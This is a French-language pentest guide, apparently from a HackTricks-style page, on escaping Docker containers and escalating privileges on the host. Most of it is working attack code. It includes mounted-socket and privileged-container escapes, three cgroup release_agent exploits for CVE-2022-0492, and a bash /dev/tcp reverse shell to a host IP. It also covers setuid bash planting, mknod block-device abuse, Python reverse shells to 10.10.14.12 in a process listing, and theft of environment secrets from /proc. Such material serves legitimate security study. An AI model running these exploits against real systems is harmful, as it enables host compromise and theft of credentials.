Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
linpeas : Il peut également énumérer les conteneurs
CDK : Cet outil est assez utile pour énumérer le conteneur dans lequel vous vous trouvez et même essayer de s'échapper automatiquement
amicontained : Outil utile pour obtenir les privilèges dont dispose le conteneur afin de trouver des moyens de s'échapper
deepce : Outil pour énumérer et s'échapper des conteneurs
grype : Obtenez les CVE contenus dans le logiciel installé dans l'image
Évasion du Socket Docker Monté
Si vous découvrez que le socket docker est monté à l'intérieur du conteneur Docker, vous pourrez vous en échapper.
Cela se produit généralement dans les conteneurs Docker qui, pour une raison quelconque, doivent se connecter au démon Docker pour effectuer des actions.
#Search the socketfind/-namedocker.sock2>/dev/null#It's usually in /run/docker.sock
Dans ce cas, vous pouvez utiliser des commandes docker classiques pour communiquer avec le démon docker :
#List images to use onedockerimages#Run the image mounting the host disk and chroot on itdockerrun-it-v/:/host/ubuntu:18.04chroot/host/bash# Get full access to the host via ns pid and nsenter clidockerrun-it--rm--pid=host--privilegedubuntubashnsenter--target1--mount--uts--ipc--net--pid--bash# Get full privs in container without --privilegeddocker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
Au cas où le socket docker est à un endroit inattendu, vous pouvez toujours communiquer avec lui en utilisant la commande docker avec le paramètre -H unix:///chemin/vers/docker.sock
Le démon Docker peut également écouter sur un port (par défaut 2375, 2376) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd fd://.
De plus, faites attention aux sockets d'exécution d'autres runtimes de haut niveau :
Vous devriez vérifier les capacités du conteneur, s'il possède l'une des suivantes, vous pourriez être en mesure de vous échapper : CAP_SYS_ADMIN,CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN
Vous pouvez vérifier les capacités actuelles du conteneur en utilisant les outils automatiques mentionnés précédemment ou :
capsh--print
Sur la page suivante, vous pouvez en apprendre davantage sur les capacités de Linux et comment les abuser pour échapper/escalader les privilèges :
Un conteneur privilégié peut être créé avec le drapeau --privileged ou en désactivant des défenses spécifiques :
--cap-add=ALL
--security-opt apparmor=unconfined
--security-opt seccomp=unconfined
--security-opt label:disable
--pid=host
--userns=host
--uts=host
--cgroupns=host
Mount /dev
Le drapeau --privileged diminue considérablement la sécurité du conteneur, offrant un accès aux périphériques non restreint et contournant plusieurs protections. Pour une analyse détaillée, consultez la documentation sur les impacts complets de --privileged.
Avec ces autorisations, vous pouvez simplement passer à l'espace de noms d'un processus s'exécutant sur l'hôte en tant que root comme init (pid:1) en exécutant simplement : nsenter --target 1 --mount --uts --ipc --net --pid -- bash
Testez-le dans un conteneur en exécutant :
dockerrun--rm-it--pid=host--privilegedubuntubash
Privilégié
Juste avec le drapeau privilégié, vous pouvez essayer d'accéder au disque de l'hôte ou essayer de s'échapper en abusant de release_agent ou d'autres échappatoires.
Testez les contournements suivants dans un conteneur en exécutant :
dockerrun--rm-it--privilegedubuntubash
Montage du disque - Poc1
Les conteneurs Docker bien configurés ne permettront pas des commandes telles que fdisk -l. Cependant, sur une commande Docker mal configurée où le drapeau --privileged ou --device=/dev/sda1 avec des privilèges est spécifié, il est possible d'obtenir les privilèges pour voir le lecteur hôte.
Donc, pour prendre le contrôle de la machine hôte, c'est trivial:
mkdir-p/mnt/holamount/dev/sda1/mnt/hola
Et voilà ! Vous pouvez désormais accéder au système de fichiers de l'hôte car il est monté dans le dossier /mnt/hola.
Montage du disque - Poc2
À l'intérieur du conteneur, un attaquant peut tenter d'obtenir un accès supplémentaire au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier à l'intérieur du conteneur pour voir si vous pouvez exploiter ce vecteur d'attaque :
### Check if You Can Write to a File-systemecho1>/proc/sysrq-trigger### Check root UUIDcat/proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858c ro console=tty1 console=ttyS0 earlyprintk=ttyS0 rootdelay=300
# Check Underlying Host FilesystemfindfsUUID=<UUIDValue>/dev/sda1# Attempt to Mount the Host's Filesystemmkdir/mnt-testmount/dev/sda1/mnt-testmount:/mnt:permissiondenied.--->Failed!butifnot,youmayhaveaccesstotheunderlyinghostOSfile-systemnow.### debugfs (Interactive File System Debugger)debugfs/dev/sda1
Évasion des privilèges en abusant de l'agent de sortie existant (cve-2022-0492) - PoC1
PoC initial
# spawn a new container to exploit via:# docker run --rm -it --privileged ubuntu bash# Finds + enables a cgroup release_agent# Looks for something like: /sys/fs/cgroup/*/release_agentd=`dirname $(ls-x/s*/fs/c*/*/r*|head-n1)`# If "d" is empty, this won't work, you need to use the next PoC# Enables notify_on_release in the cgroupmkdir-p $d/w;echo1>$d/w/notify_on_release# If you have a "Read-only file system" error, you need to use the next PoC# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlt=`sed-n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadtouch/o; echo $t/c> $d/release_agent# Creates a payloadecho"#!/bin/sh">/cecho"ps > $t/o">>/cchmod+x/c# Triggers the cgroup via empty cgroup.procssh-c"echo 0 > $d/w/cgroup.procs"; sleep1# Reads the outputcat/o
Évasion des privilèges en abusant de l'agent de libération créé (cve-2022-0492) - PoC2
Deuxième PoC
# On the hostdockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntubash# Mounts the RDMA cgroup controller and create a child cgroup# This technique should work with the majority of cgroup controllers# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix itmkdir/tmp/cgrp&&mount-tcgroup-ordmacgroup/tmp/cgrp&&mkdir/tmp/cgrp/x# If mount gives an error, this won't work, you need to use the first PoC# Enables cgroup notifications on release of the "x" cgroupecho1>/tmp/cgrp/x/notify_on_release# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlhost_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadecho"$host_path/cmd">/tmp/cgrp/release_agent#For a normal PoC =================echo'#!/bin/sh'>/cmdecho"ps aux > $host_path/output">>/cmdchmoda+x/cmd#===================================#Reverse shellecho'#!/bin/bash'>/cmdecho"bash -i >& /dev/tcp/172.17.0.1/9000 0>&1">>/cmdchmoda+x/cmd#===================================# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory# The script on the host will execute after /bin/sh exitssh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"# Reads the outputcat/output
Évasion des privilèges en abusant de release_agent sans connaître le chemin relatif - PoC3
Dans les exploits précédents, le chemin absolu du conteneur à l'intérieur du système de fichiers de l'hôte est divulgué. Cependant, ce n'est pas toujours le cas. Dans les cas où vous ne connaissez pas le chemin absolu du conteneur à l'intérieur de l'hôte, vous pouvez utiliser cette technique :
#!/bin/shOUTPUT_DIR="/"MAX_PID=65535CGROUP_NAME="xyx"CGROUP_MOUNT="/tmp/cgrp"PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"OUTPUT_NAME="${CGROUP_NAME}_payload.out"OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"# Run a process for which we can search for (not needed in reality, but nice to have)sleep10000&# Prepare the payload script to execute on the hostcat> ${PAYLOAD_PATH} <<__EOF__#!/bin/shOUTPATH=\$(dirname \$0)/${OUTPUT_NAME}# Commands to run on the host<ps -eaf > \${OUTPATH} 2>&1__EOF__# Make the payload script executablechmoda+x ${PAYLOAD_PATH}# Set up the cgroup mount using the memory resource cgroup controllermkdir ${CGROUP_MOUNT}mount-tcgroup-omemorycgroup ${CGROUP_MOUNT}mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}echo1> ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release# Brute force the host pid until the output path is created, or we run out of guessesTPID=1while [ !-f ${OUTPUT_PATH} ]doif [ $((${TPID} % 100)) -eq0 ]thenecho"Checking pid ${TPID}"if [ ${TPID} -gt ${MAX_PID} ]thenecho"Exiting at ${MAX_PID} :-("exit1fifi# Set the release_agent path to the guessed pidecho"/proc/${TPID}/root${PAYLOAD_PATH}"> ${CGROUP_MOUNT}/release_agent# Trigger execution of the release_agentsh-c"echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"TPID=$((${TPID} + 1))done# Wait for and cat the outputsleep1echo"Done! Output:"cat ${OUTPUT_PATH}
L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à :
Évasion de privilèges en abusant des montages sensibles
Il existe plusieurs fichiers qui pourraient être montés et qui donnent des informations sur l'hôte sous-jacent. Certains d'entre eux peuvent même indiquer quelque chose à exécuter par l'hôte lorsqu'un événement se produit (ce qui permettrait à un attaquant de s'échapper du conteneur).
L'abus de ces fichiers peut permettre :
À plusieurs reprises, vous constaterez que le conteneur a un volume monté depuis l'hôte. Si ce volume n'a pas été correctement configuré, vous pourriez être en mesure d'accéder/modifier des données sensibles : Lire des secrets, modifier les clés autorisées ssh...
dockerrun--rm-it-v/:/hostubuntubash
Élévation de privilèges avec 2 shells et montage hôte
Si vous avez un accès en tant que root à l'intérieur d'un conteneur qui a un dossier de l'hôte monté et que vous avez échappé en tant qu'utilisateur non privilégié vers l'hôte et avez un accès en lecture sur le dossier monté.
Vous pouvez créer un fichier bash suid dans le dossier monté à l'intérieur du conteneur et l'exécuter depuis l'hôte pour une élévation de privilèges.
cp/bin/bash.#From non priv inside mounted folder# You need to copy it from the host as the bash binaries might be diferent in the host and in the containerchownroot:rootbash#From container as root inside mounted folderchmod4777bash#From container as root inside mounted folderbash-p#From non priv inside mounted folder
Élévation de privilèges avec 2 shells
Si vous avez un accès en tant que root à l'intérieur d'un conteneur et que vous avez échappé en tant qu'utilisateur non privilégié vers l'hôte, vous pouvez abuser des deux shells pour élever les privilèges à l'intérieur de l'hôte si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme expliqué dans ce post.
Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à créer des fichiers de périphérique bloc. Les fichiers de périphérique sont des fichiers spéciaux utilisés pour accéder au matériel sous-jacent et aux modules du noyau. Par exemple, le fichier de périphérique bloc /dev/sda donne accès à lire les données brutes sur le disque du système.
Docker se protège contre l'abus des périphériques bloc à l'intérieur des conteneurs en imposant une politique cgroup qui bloque les opérations de lecture/écriture des périphériques bloc. Néanmoins, si un périphérique bloc est créé à l'intérieur du conteneur, il devient accessible depuis l'extérieur du conteneur via le répertoire /proc/PID/root/. Cet accès nécessite que le propriétaire du processus soit le même à la fois à l'intérieur et à l'extérieur du conteneur.
# On the container as rootcd/# Crate devicemknodsdab80# Give access to itchmod777sda# Create the nonepriv user of the host inside the container## In this case it's called augustus (like the user from the host)echo"augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash">>/etc/passwd# Get a shell as augustus inside the containersuaugustussu:Authenticationfailure(Ignored)augustus@3a453ab39d3d:/backend$/bin/sh/bin/sh$
# On the host# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells user
augustus@GoodGames:~$ps-auxf|grep/bin/shroot 1496 0.0 0.0 4292 744 ? S 09:30 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root 1627 0.0 0.0 4292 756 ? S 09:44 0:00 \_ /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
augustus16590.00.04292712?S+09:480:00 \_ /bin/shaugustus16610.00.06116648pts/0S+09:480:00 \_ grep/bin/sh# The process ID is 1659 in this case# Grep for the sda for HTB{ through the process:augustus@GoodGames:~$grep-a'HTB{'/proc/1659/root/sdaHTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
hostPID
Si vous pouvez accéder aux processus de l'hôte, vous pourrez accéder à de nombreuses informations sensibles stockées dans ces processus. Exécutez le laboratoire de test:
docker run --rm -it --pid=host ubuntu bash
Par exemple, vous pourrez lister les processus en utilisant quelque chose comme ps auxn et rechercher des détails sensibles dans les commandes.
Ensuite, comme vous pouvez accéder à chaque processus de l'hôte dans /proc/, vous pouvez simplement voler leurs secrets d'environnement en exécutant :
for e in`ls/proc/*/environ`; doecho; echo $e; xargs-0-L1-a $e; done/proc/988058/environPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=argocd-server-69678b4f65-6mmqlUSER=abrgocd...
Vous pouvez également accéder aux descripteurs de fichiers d'autres processus et lire leurs fichiers ouverts :
for fd in`find/proc/*/fd`; dols-al $fd/*2>/dev/null|grep \>; done> fds.txtlessfds.txt...omittedforbrevity...lrwx------1rootroot64Jun1502:25/proc/635813/fd/2 ->/dev/pts/0